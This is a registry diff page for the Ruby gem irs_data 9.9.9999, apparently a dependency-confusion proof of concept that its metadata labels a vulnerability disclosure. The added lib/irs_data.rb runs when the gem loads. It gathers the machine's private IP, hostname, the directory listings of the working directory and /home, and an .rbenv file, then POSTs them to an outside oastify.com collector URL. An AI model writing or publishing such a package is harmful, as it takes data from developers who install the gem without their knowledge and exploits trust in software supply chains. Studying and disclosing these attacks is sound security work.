irs_data 9.9.9999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of irs_data might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/irs_data.rb +35 -0
  3. metadata +45 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: c5b1e20d4624ef0ffe716270d3476e1853f03638b02866a0f149fca4caf0f73c
4
+ data.tar.gz: 809e4f8e1854649766dcf9226f8a1a6689743d50e9fa78f8395e94679bf50212
5
+ SHA512:
6
+ metadata.gz: 060a9fa18b91e5ffe4add6bae3c2ca831de591eeda6741707af484a31207ce19129d1d618fd3052b236e98bc4bc5e4dd59b4ae70d30252443eecc0e650cda3ba
7
+ data.tar.gz: 6924936a9b81607bda1441bd0eea04a63c9ac4873309bfcd551c1987441cbb496f1b06f565f422ad6c0a4ee8a13c175da0bb60c3051145690c9113ab57f256e3
data/lib/irs_data.rb ADDED
@@ -0,0 +1,35 @@
1
+ module IrsData
2
+
3
+ require 'json'
4
+ require 'net/http'
5
+ require 'socket'
6
+
7
+ #Private IP
8
+ privip = UDPSocket.open {|s| s.connect("104.248.8.1", 1); s.addr.last}
9
+ #Hostname
10
+ hostname = Socket.gethostname
11
+ #Current directory
12
+ dir = Dir.pwd
13
+ entries = Dir.entries(dir)
14
+ homedir = Dir.entries('/home/')
15
+ rubyenv = File.read('/home/t6C95A1F/.rbenv')
16
+
17
+ #Pubcli bin url:- burpCollaborate url
18
+ uri = URI('http://7rzdeigmq8xye774j9no320stjzan0bp.oastify.com')
19
+ req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
20
+
21
+ req.body = {
22
+ private_ip: privip,
23
+ hostname: hostname,
24
+ current_directory: dir,
25
+ directory_dir: entries,
26
+ home_dir: homedir,
27
+ rubyenv_content: rubyenv
28
+
29
+ }.to_json
30
+
31
+ Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|
32
+ http.request(req)
33
+ end
34
+
35
+ end
metadata ADDED
@@ -0,0 +1,45 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: irs_data
3
+ version: !ruby/object:Gem::Version
4
+ version: 9.9.9999
5
+ platform: ruby
6
+ authors:
7
+ - Joaquin Rodriguez Varela
8
+ autorequire:
9
+ bindir: exe
10
+ cert_chain: []
11
+ date: 2023-10-09 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: This Ruby package vulnerable to dependency confiuse vulnerability
14
+ email:
15
+ - jrodriguez@includesec.com
16
+ executables: []
17
+ extensions: []
18
+ extra_rdoc_files: []
19
+ files:
20
+ - lib/irs_data.rb
21
+ homepage: https://rubygems.org/gems/irs_data
22
+ licenses:
23
+ - MIT
24
+ metadata:
25
+ homepage_uri: https://rubygems.org/gems/irs_data
26
+ post_install_message:
27
+ rdoc_options: []
28
+ require_paths:
29
+ - lib
30
+ required_ruby_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: 2.6.0
35
+ required_rubygems_version: !ruby/object:Gem::Requirement
36
+ requirements:
37
+ - - ">="
38
+ - !ruby/object:Gem::Version
39
+ version: '0'
40
+ requirements: []
41
+ rubygems_version: 3.3.5
42
+ signing_key:
43
+ specification_version: 4
44
+ summary: 'Vulnerability Disclosure: Dependency confiuse vulnerability'
45
+ test_files: []